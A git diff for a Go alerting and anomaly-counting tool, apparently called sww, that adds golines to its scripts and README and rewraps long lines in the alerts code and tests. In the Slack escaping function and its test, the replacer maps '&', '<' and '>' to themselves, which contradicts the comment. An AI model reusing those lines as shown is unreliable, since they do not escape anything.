diff --git a/README.md b/README.md index 48f3410..c6cc617 100644 --- a/README.md +++ b/README.md @@ -711,7 +711,8 @@ on the host. - `script/bootstrap`: installs on the host what the other scripts need, with `make bootstrap`: - `make`, `git` and `curl`; - - Go, for `gofmt`; + - Go, for `gofmt` and to build `golines`; + - `golines`, at a pinned version, with `go install`; - node, yarn and prettier. - `script/setup`: readies a fresh clone: `script/bootstrap`, then `script/install-precommit`. `make setup`. @@ -728,8 +729,11 @@ on the host. the `tidy` stage of the `Dockerfile`. `make tidy`. - `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`. `make lint`. -- `script/fmt`: formats the Go code with `gofmt` and the Markdown with prettier. - `make fmt`. +- `script/fmt`: formats the Go code with `gofmt` and then `golines -m 77`, and + the Markdown with prettier. `make fmt`. + - `golines` wraps code at 77 columns but leaves comments and strings alone. + Wrap those by hand. + - The linter fails only lines longer than 88 columns. - `script/fmt-check`: checks the formatting and changes nothing. `make fmt-check`. - `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`. diff --git a/internal/alerts/alerts.go b/internal/alerts/alerts.go index 5a6ed92..a89e577 100644 --- a/internal/alerts/alerts.go +++ b/internal/alerts/alerts.go @@ -291,7 +291,15 @@ func cooldownKeyOf(alert *Alert) cooldownKey { asn, _ := alert.Detail["asn"].(string) name, _ := alert.Detail["name"].(string) - return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name} + return cooldownKey{ + alert.Event, + alert.Netblock, + file, + source, + scope, + asn, + name, + } } // New returns a Queue with no alert yet. @@ -333,7 +341,8 @@ func New(params Params) *Queue { // queue of each destination, from which Run sends it, and with queueSize // alerts waiting for a destination, the oldest is dropped. func (q *Queue) Raise(alert Alert) { - if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) { + if len(q.destinations) == 0 || + !slices.Contains(q.params.Events, alert.Event) { return } @@ -380,7 +389,8 @@ func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool { now := q.params.Now() last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}] - if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown { + if q.params.Cooldown > 0 && found && + now.Sub(last.Sent) < q.params.Cooldown { return false } @@ -474,10 +484,15 @@ func (q *Queue) Snapshot() State { } slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int { - return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event), - cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source), - cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN), - cmp.Compare(a.Name, b.Name)) + return cmp.Or( + a.Netblock.Compare(b.Netblock), + cmp.Compare(a.Event, b.Event), + cmp.Compare(a.File, b.File), + cmp.Compare(a.Source, b.Source), + cmp.Compare(a.Scope, b.Scope), + cmp.Compare(a.ASN, b.ASN), + cmp.Compare(a.Name, b.Name), + ) }) for _, d := range q.destinations { @@ -609,9 +624,12 @@ func (q *Queue) endHour(now time.Time) { var reasons []string if heldBack > 0 { - reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+ - "past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack, - q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour)) + reasons = append( + reasons, + fmt.Sprintf("%d alerts held back in the hour from %s, "+ + "past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack, + q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour), + ) } if repeats > 0 { @@ -690,12 +708,19 @@ func (d *destination) run(ctx context.Context) { case ctx.Err() == nil: // not cut off as sww stops d.sendFailures.Add(1) - retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay), - maxRetryDelay) + retryDelay = min( + max(retryDelayFactor*retryDelay, firstRetryDelay), + maxRetryDelay, + ) retryAt = time.Now().Add(retryDelay) - d.processLog.Warn("sending an alert to "+d.setting+" failed", - "error", err.Error(), "sending_again_in", retryDelay.String()) + d.processLog.Warn( + "sending an alert to "+d.setting+" failed", + "error", + err.Error(), + "sending_again_in", + retryDelay.String(), + ) } } } @@ -783,8 +808,12 @@ func (d *destination) send(ctx context.Context, alert *Alert) error { ctx, cancel := context.WithTimeout(ctx, sendTimeout) defer cancel() - req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(), - bytes.NewReader(body)) + req, err := http.NewRequestWithContext( + ctx, + http.MethodPost, + d.url.String(), + bytes.NewReader(body), + ) if err != nil { return fmt.Errorf("make the request: %w", err) } @@ -838,7 +867,14 @@ func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) { // in JSON: its title in bold, then its text, with &, < and > escaped, as // Slack asks, so that nothing in them is read as a link or a mention. func slackMessage(alert *Alert) ([]byte, http.Header, error) { - escape := strings.NewReplacer("&", "&", "<", "<", ">", ">").Replace + escape := strings.NewReplacer( + "&", + "&", + "<", + "<", + ">", + ">", + ).Replace body, err := json.Marshal(map[string]string{ "text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)), @@ -936,7 +972,10 @@ func text(alert *Alert) string { } if alert.SuppressedRepeats > 0 { - lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats)) + lines = append( + lines, + fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats), + ) } return strings.Join(lines, "\n") diff --git a/internal/alerts/alerts_test.go b/internal/alerts/alerts_test.go index f903940..491dd96 100644 --- a/internal/alerts/alerts_test.go +++ b/internal/alerts/alerts_test.go @@ -65,7 +65,10 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) { Netblock: netip.MustParsePrefix("203.0.113.0/24"), Country: "DE", Reason: "requests per minute over the limit of 1000", - Detail: map[string]any{"cause": "limit", "ban_expires": anHourOn}, + Detail: map[string]any{ + "cause": "limit", + "ban_expires": anHourOn, + }, }) synctest.Wait() @@ -75,7 +78,12 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) { } if got[0].method != http.MethodPost || got[0].url != webhookURL { - t.Errorf("request %s %s, want POST %s", got[0].method, got[0].url, webhookURL) + t.Errorf( + "request %s %s, want POST %s", + got[0].method, + got[0].url, + webhookURL, + ) } for name, want := range map[string]string{ @@ -84,21 +92,29 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) { "X-Team": "ops", } { if got[0].header.Get(name) != want { - t.Errorf("header %s is %q, want %q", name, got[0].header.Get(name), want) + t.Errorf( + "header %s is %q, want %q", + name, + got[0].header.Get(name), + want, + ) } } wantAlert(t, got[0].alert, map[string]any{ - "instance": instance, - "time": started, - "event": "ban", - "client": "203.0.113.9", - "netblock": "203.0.113.0/24", - "asn": "", - "as_name": "", - "country": "DE", - "reason": "requests per minute over the limit of 1000", - "detail": map[string]any{"cause": "limit", "ban_expires": anHourOn}, + "instance": instance, + "time": started, + "event": "ban", + "client": "203.0.113.9", + "netblock": "203.0.113.0/24", + "asn": "", + "as_name": "", + "country": "DE", + "reason": "requests per minute over the limit of 1000", + "detail": map[string]any{ + "cause": "limit", + "ban_expires": anHourOn, + }, "suppressed_repeats": float64(0), }) wantCounts(t, q, 1, 0, 0, 0) @@ -110,12 +126,25 @@ func TestOnlyTheChosenEventsAreSent(t *testing.T) { synctest.Test(t, func(t *testing.T) { params := newParams() - params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError} + params.Events = []string{ + alerts.EventSourceFailure, + alerts.EventFileError, + } webhook, q := start(t, params) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) - q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"}) - q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(1)}) + q.Raise( + alerts.Alert{ + Event: alerts.EventFileError, + Reason: "a file error", + }, + ) + q.Raise( + alerts.Alert{ + Event: alerts.EventPermanentBan, + Netblock: netblock(1), + }, + ) synctest.Wait() wantEvents(t, webhook, alerts.EventFileError) @@ -127,12 +156,17 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) { t.Parallel() params := newParams() - params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError} + params.Events = []string{ + alerts.EventSourceFailure, + alerts.EventFileError, + } q := alerts.New(params) if q.WouldSend(alerts.EventBan, netblock(1)) || q.WouldSend(alerts.EventPermanentBan, netblock(1)) { - t.Error("a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out") + t.Error( + "a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out", + ) } if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) { @@ -188,7 +222,10 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) { "SWW_ALERT_NTFY_URL": onlyNtfy, } { if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) { - t.Errorf("a ban alert would not be sent with only %s set", setting) + t.Errorf( + "a ban alert would not be sent with only %s set", + setting, + ) } } } @@ -225,8 +262,14 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) { synctest.Wait() got := webhook.received() - wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventPermanentBan, - alerts.EventBan) + wantEvents( + t, + webhook, + alerts.EventBan, + alerts.EventBan, + alerts.EventPermanentBan, + alerts.EventBan, + ) for i, want := range []struct { netblock int @@ -235,9 +278,14 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) { alert := got[i].alert if alert["netblock"] != netblock(want.netblock).String() || alert["suppressed_repeats"] != want.repeats { - t.Errorf("alert %d is for %v with %v repeats, want %s with %v", i, - alert["netblock"], alert["suppressed_repeats"], netblock(want.netblock), - want.repeats) + t.Errorf( + "alert %d is for %v with %v repeats, want %s with %v", + i, + alert["netblock"], + alert["suppressed_repeats"], + netblock(want.netblock), + want.repeats, + ) } } @@ -245,7 +293,9 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) { }) } -func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) { +func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource( + t *testing.T, +) { t.Parallel() synctest.Test(t, func(t *testing.T) { @@ -253,8 +303,11 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) webhook, q := start(t, params) fileError := func(file string) alerts.Alert { return alerts.Alert{ - Event: alerts.EventFileError, - Detail: map[string]any{"file": file, "error": "line 2: an error"}, + Event: alerts.EventFileError, + Detail: map[string]any{ + "file": file, + "error": "line 2: an error", + }, } } sourceFailure := func(source string) alerts.Alert { @@ -285,7 +338,11 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) "/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb", } if !slices.Equal(got, want) { - t.Errorf("the webhook was sent alerts for %v, want %v", got, want) + t.Errorf( + "the webhook was sent alerts for %v, want %v", + got, + want, + ) } wantCounts(t, q, 4, 0, 2, 0) @@ -298,8 +355,12 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) after.Raise(fileError("/rules.d/50-c.rules")) waiting := after.Snapshot().Waiting[alerts.DestinationWebhook] - if len(waiting) != 1 || waiting[0].Detail["file"] != "/rules.d/50-c.rules" { - t.Errorf("after loading, alerts wait %+v, want the one for 50-c.rules", waiting) + if len(waiting) != 1 || + waiting[0].Detail["file"] != "/rules.d/50-c.rules" { + t.Errorf( + "after loading, alerts wait %+v, want the one for 50-c.rules", + waiting, + ) } }) } @@ -336,7 +397,12 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) { q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)}) - q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(4)}) + q.Raise( + alerts.Alert{ + Event: alerts.EventPermanentBan, + Netblock: netblock(4), + }, + ) q.Raise(alerts.Alert{Event: alerts.EventFileError}) // The summary is sent as the hour ends, and not before. @@ -346,7 +412,13 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) { time.Sleep(time.Nanosecond) synctest.Wait() - wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary) + wantEvents( + t, + webhook, + alerts.EventBan, + alerts.EventBan, + alerts.EventSummary, + ) summary := webhook.received()[2].alert wantAlert(t, summary, map[string]any{ @@ -364,7 +436,9 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) { "hour": started, "count": float64(3), "events": map[string]any{ - "ban": float64(1), "permanent_ban": float64(1), "file_error": float64(1), + "ban": float64( + 1, + ), "permanent_ban": float64(1), "file_error": float64(1), }, }, "suppressed_repeats": float64(0), @@ -375,13 +449,21 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) { q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)}) time.Sleep(time.Hour) synctest.Wait() - wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary, - alerts.EventBan) + wantEvents( + t, + webhook, + alerts.EventBan, + alerts.EventBan, + alerts.EventSummary, + alerts.EventBan, + ) wantCounts(t, q, 4, 0, 3, 0) }) } -func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T) { +func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary( + t *testing.T, +) { t.Parallel() synctest.Test(t, func(t *testing.T) { @@ -389,7 +471,9 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T params.MaxPerHour = 1 webhook, q := start(t, params) raise := func() { - q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + q.Raise( + alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}, + ) } // The hour's one alert, and two repeats the cooldown holds back. @@ -408,7 +492,13 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T raise() synctest.Wait() - wantEvents(t, webhook, alerts.EventBan, alerts.EventSummary, alerts.EventBan) + wantEvents( + t, + webhook, + alerts.EventBan, + alerts.EventSummary, + alerts.EventBan, + ) got := webhook.received() if len(got) == 3 { @@ -416,11 +506,16 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T summaryRepeats := got[1].alert["suppressed_repeats"] lastRepeats := got[2].alert["suppressed_repeats"] - if detail["count"] != float64(1) || summaryRepeats != float64(2) || + if detail["count"] != float64(1) || + summaryRepeats != float64(2) || lastRepeats != float64(0) { - t.Errorf("the summary counts %v alerts and %v repeats, and the last "+ - "alert gives %v repeats, want 1, 2 and 0", detail["count"], - summaryRepeats, lastRepeats) + t.Errorf( + "the summary counts %v alerts and %v repeats, and the last "+ + "alert gives %v repeats, want 1, 2 and 0", + detail["count"], + summaryRepeats, + lastRepeats, + ) } } @@ -428,7 +523,9 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T }) } -func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) { +func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp( + t *testing.T, +) { t.Parallel() for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} { @@ -465,8 +562,12 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) kept := len(q.Snapshot().Cooldowns) if kept > int(cooldown/time.Minute) { - t.Errorf("after %d netblocks, %d cooldowns are kept, want at most %d", - netblocks, kept, int(cooldown/time.Minute)) + t.Errorf( + "after %d netblocks, %d cooldowns are kept, want at most %d", + netblocks, + kept, + int(cooldown/time.Minute), + ) } } @@ -484,8 +585,13 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) kept := len(q.Snapshot().Cooldowns) if kept != 0 || repeats != float64(netblocks) { - t.Errorf("%d cooldowns are kept and the webhook was given %v repeats, "+ - "want 0 and %d", kept, repeats, netblocks) + t.Errorf( + "%d cooldowns are kept and the webhook was given %v repeats, "+ + "want 0 and %d", + kept, + repeats, + netblocks, + ) } }) }) @@ -620,8 +726,14 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) { logged := log.String() if !strings.Contains(logged, `"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) || - strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") { - t.Errorf("process log %q names no failure, or names the URL", logged) + strings.Contains( + logged, + "alerts.example", + ) || strings.Contains(logged, "team=ops") { + t.Errorf( + "process log %q names no failure, or names the URL", + logged, + ) } }) } @@ -639,7 +751,9 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) { // than the queue holds is raised: none waits, and the oldest, the // one the webhook was sent, is dropped. for n := range alerts.QueueSize + 1 { - q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)}) + q.Raise( + alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)}, + ) if n == 0 { synctest.Wait() @@ -653,9 +767,17 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) { wantCounts(t, q, 0, 0, 0, 1) waiting := q.Snapshot().Waiting[alerts.DestinationWebhook] - if len(waiting) != alerts.QueueSize || waiting[0].Netblock != netblock(1) { - t.Fatalf("%d alerts wait, the first for %s, want %d, the first for %s", - len(waiting), waiting[0].Netblock, alerts.QueueSize, netblock(1)) + if len(waiting) != alerts.QueueSize || + waiting[0].Netblock != netblock(1) { + t.Fatalf( + "%d alerts wait, the first for %s, want %d, the first for %s", + len( + waiting, + ), + waiting[0].Netblock, + alerts.QueueSize, + netblock(1), + ) } // The request is abandoned after 10 seconds, and the webhook, which @@ -667,14 +789,22 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) { got := webhook.received() if len(got) != alerts.QueueSize+1 || got[0].alert["netblock"] != netblock(0).String() { - t.Fatalf("the webhook had %d requests, want %d, the first for %s", - len(got), alerts.QueueSize+1, netblock(0)) + t.Fatalf( + "the webhook had %d requests, want %d, the first for %s", + len(got), + alerts.QueueSize+1, + netblock(0), + ) } for i, request := range got[1:] { if request.alert["netblock"] != netblock(i+1).String() { - t.Fatalf("request %d is for %v, want %s", i+1, request.alert["netblock"], - netblock(i+1)) + t.Fatalf( + "request %d is for %v, want %s", + i+1, + request.alert["netblock"], + netblock(i+1), + ) } } @@ -692,8 +822,12 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) { // Not sent: Run is not running. The repeat is held back by the // cooldown, and the file error past the hourly limit. - before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) - before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + before.Raise( + alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}, + ) + before.Raise( + alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}, + ) before.Raise(alerts.Alert{Event: alerts.EventFileError}) time.Sleep(time.Minute) @@ -704,7 +838,9 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) { // The new queue sends the alert waiting, holds back the repeat as // the cooldown still runs, and sends the summary of the hour, which // gives both repeats, as the cooldown has run out. - after.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + after.Raise( + alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}, + ) synctest.Wait() wantEvents(t, webhook, alerts.EventBan) @@ -715,9 +851,13 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) { summary := webhook.received()[1].alert detail, _ := summary["detail"].(map[string]any) - if detail["count"] != float64(1) || summary["suppressed_repeats"] != float64(2) { - t.Errorf("the summary counts %v alerts and %v repeats, want 1 and 2", - detail["count"], summary["suppressed_repeats"]) + if detail["count"] != float64(1) || + summary["suppressed_repeats"] != float64(2) { + t.Errorf( + "the summary counts %v alerts and %v repeats, want 1 and 2", + detail["count"], + summary["suppressed_repeats"], + ) } }) } @@ -747,7 +887,13 @@ func TestSlackAndNtfyAreSentAMessageForEachEvent(t *testing.T) { for i, each := range want { wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text) - wantNtfyMessage(t, ntfy[i], each.title, each.priorityAndTag, each.text) + wantNtfyMessage( + t, + ntfy[i], + each.title, + each.priorityAndTag, + each.text, + ) } }) } @@ -760,14 +906,23 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) { params.WebhookURL = nil params.MaxPerHour = 1 standIns, q := startAll(t, params) - ban := alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1), Reason: "a ban"} + ban := alerts.Alert{ + Event: alerts.EventBan, + Netblock: netblock(1), + Reason: "a ban", + } // The hour's one alert, a repeat of it the cooldown holds back, and // an alert past the limit; once the hour has ended, its summary, // which gives the repeat, and the next alert, which gives none. q.Raise(ban) q.Raise(ban) - q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"}) + q.Raise( + alerts.Alert{ + Event: alerts.EventFileError, + Reason: "a file error", + }, + ) time.Sleep(time.Hour) synctest.Wait() q.Raise(ban) @@ -786,8 +941,18 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) { "by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1" wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary) - wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary) - wantSlackMessage(t, slack[2], "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32") + wantNtfyMessage( + t, + ntfy[1], + instance+": summary", + "default bar_chart", + summary, + ) + wantSlackMessage( + t, + slack[2], + "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32", + ) wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry", "a ban\nnetblock: 203.0.113.1/32") }) @@ -813,7 +978,11 @@ func TestSlackMessageEscapesAmpersandsAndAngleBrackets(t *testing.T) { wantSlackMessage(t, got[0], "*app<1>: file_error*\n"+ "<!channel> & <https://x.example|y>") - wantBodies(t, standIns[alerts.DestinationNtfy], " & ") + wantBodies( + t, + standIns[alerts.DestinationNtfy], + " & ", + ) }) } @@ -835,7 +1004,12 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) { params.NtfyToken = tc.token standIns, q := startAll(t, params) - q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + q.Raise( + alerts.Alert{ + Event: alerts.EventBan, + Netblock: netblock(1), + }, + ) synctest.Wait() for destination, want := range map[string][]string{ @@ -845,13 +1019,21 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) { } { got := standIns[destination].received() if len(got) != 1 { - t.Fatalf("%s was sent %d requests, want 1", destination, len(got)) + t.Fatalf( + "%s was sent %d requests, want 1", + destination, + len(got), + ) } authorization := got[0].header.Values("Authorization") if !slices.Equal(authorization, want) { - t.Errorf("%s was sent Authorization %q, want %q", destination, - authorization, want) + t.Errorf( + "%s was sent Authorization %q, want %q", + destination, + authorization, + want, + ) } } }) @@ -870,7 +1052,9 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) { standIns[alerts.DestinationSlack].set(hanging) for n := range 3 { - q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)}) + q.Raise( + alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)}, + ) } synctest.Wait() @@ -885,7 +1069,9 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) { wantDestinationCounts(t, q, destination, want) } - if got := standIns[alerts.DestinationSlack].received(); len(got) != 1 { + if got := standIns[alerts.DestinationSlack].received(); len( + got, + ) != 1 { t.Errorf("Slack was sent %d requests, want 1", len(got)) } @@ -900,11 +1086,16 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) { alerts.Counts{Sent: 3, SendFailures: 1}) logged := log.String() - if !strings.Contains(logged, - `"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`) || + if !strings.Contains( + logged, + `"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`, + ) || strings.Contains(logged, "hooks.slack.example") || strings.Contains(logged, "T0123") { - t.Errorf("process log %q names no failure, or names the URL", logged) + t.Errorf( + "process log %q names no failure, or names the URL", + logged, + ) } }) } @@ -922,7 +1113,9 @@ func TestDropsAreCountedForEachDestination(t *testing.T) { // Each alert is raised once each destination has done all it can // with those before it. for n := range alerts.QueueSize + 1 { - q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)}) + q.Raise( + alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)}, + ) synctest.Wait() } @@ -1136,7 +1329,10 @@ func start(t *testing.T, params alerts.Params) (*standIn, *alerts.Queue) { // startAll returns, by destination, a stand-in that answers for each // destination params sets, and a Queue that sends to them, run until the // test ends. -func startAll(t *testing.T, params alerts.Params) (map[string]*standIn, *alerts.Queue) { +func startAll( + t *testing.T, + params alerts.Params, +) (map[string]*standIn, *alerts.Queue) { t.Helper() q := alerts.New(params) @@ -1170,7 +1366,9 @@ func midnight() time.Time { // netblock returns the n-th netblock of a test, counted from 0. func netblock(n int) netip.Prefix { - return netip.MustParsePrefix(fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256)) + return netip.MustParsePrefix( + fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256), + ) } // roundTrip returns state once written as JSON and read back, as @@ -1223,12 +1421,22 @@ func wantEvents(t *testing.T, webhook *standIn, want ...string) { // requests to it that it counts as failed, the alerts it counts as held // back, and those it counts as dropped for the webhook. func wantCounts( - t *testing.T, q *alerts.Queue, sent, sendFailures, suppressed, dropped int64, + t *testing.T, + q *alerts.Queue, + sent, sendFailures, suppressed, dropped int64, ) { t.Helper() - wantDestinationCounts(t, q, alerts.DestinationWebhook, - alerts.Counts{Sent: sent, SendFailures: sendFailures, Dropped: dropped}) + wantDestinationCounts( + t, + q, + alerts.DestinationWebhook, + alerts.Counts{ + Sent: sent, + SendFailures: sendFailures, + Dropped: dropped, + }, + ) if q.Suppressed() != suppressed { t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed) @@ -1261,7 +1469,9 @@ func anAlertForEachEvent() []eventMessage { { alerts.Alert{ Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"), - Netblock: netip.MustParsePrefix("203.0.113.0/24"), Country: "DE", + Netblock: netip.MustParsePrefix( + "203.0.113.0/24", + ), Country: "DE", Reason: "requests per hour over the limit of 10000", Detail: map[string]any{"mode": "observe"}, }, @@ -1272,7 +1482,9 @@ func anAlertForEachEvent() []eventMessage { { alerts.Alert{ Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"), - Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR", + Netblock: netip.MustParsePrefix( + "198.51.100.7/32", + ), Country: "FR", Reason: "matched the rule env-file", }, "fsn1app1/blog: permanent_ban", "high no_entry", @@ -1347,18 +1559,30 @@ func wantSlackMessage(t *testing.T, request post, text string) { // wantNtfyMessage checks that request, one ntfy was sent, posted the // message text with the title, and with the priority and the tag // priorityAndTag gives, with a space between them. -func wantNtfyMessage(t *testing.T, request post, title, priorityAndTag, text string) { +func wantNtfyMessage( + t *testing.T, + request post, + title, priorityAndTag, text string, +) { t.Helper() got := []string{ request.method, request.url, request.header.Get("Title"), - request.header.Get("Priority") + " " + request.header.Get("Tags"), request.body, + request.header.Get( + "Priority", + ) + " " + request.header.Get( + "Tags", + ), request.body, } want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text} if !slices.Equal(got, want) { - t.Errorf("ntfy was sent the method, URL, title, priority and tag, and text "+ - "%q, want %q", got, want) + t.Errorf( + "ntfy was sent the method, URL, title, priority and tag, and text "+ + "%q, want %q", + got, + want, + ) } } diff --git a/internal/anomaly/anomaly.go b/internal/anomaly/anomaly.go index 3e7c3a8..4a14129 100644 --- a/internal/anomaly/anomaly.go +++ b/internal/anomaly/anomaly.go @@ -43,7 +43,13 @@ const ( // Scopes returns every scope. func Scopes() []string { - return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatchedNet} + return []string{ + ScopeClient, + ScopeNet, + ScopeASN, + ScopeTotal, + ScopeWatchedNet, + } } // The windows a counter counts in, as the alerts name them. @@ -191,8 +197,12 @@ func (c *Counters) Snapshot() []Counter { c.mu.Unlock() slices.SortFunc(counters, func(a, b Counter) int { - return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock), - cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name)) + return cmp.Or( + cmp.Compare(a.Scope, b.Scope), + a.Netblock.Compare(b.Netblock), + cmp.Compare(a.ASN, b.ASN), + cmp.Compare(a.Name, b.Name), + ) }) return counters @@ -257,7 +267,11 @@ func (c *Counters) scopesOf(r Request) []scope { for _, named := range p.NamedNetblocks { if named.Netblock.Contains(client) { all = append(all, scope{ - key{scope: ScopeWatchedNet, netblock: named.Netblock, name: named.Name}, p.Watch, + key{ + scope: ScopeWatchedNet, + netblock: named.Netblock, + name: named.Name, + }, p.Watch, }) } } @@ -316,7 +330,12 @@ func (c *Counter) add( counted := count.buckets.Add(now, count.length, n) if !passed && counted > float64(threshold) { - first = overThreshold{count.kind, count.window, counted, threshold} + 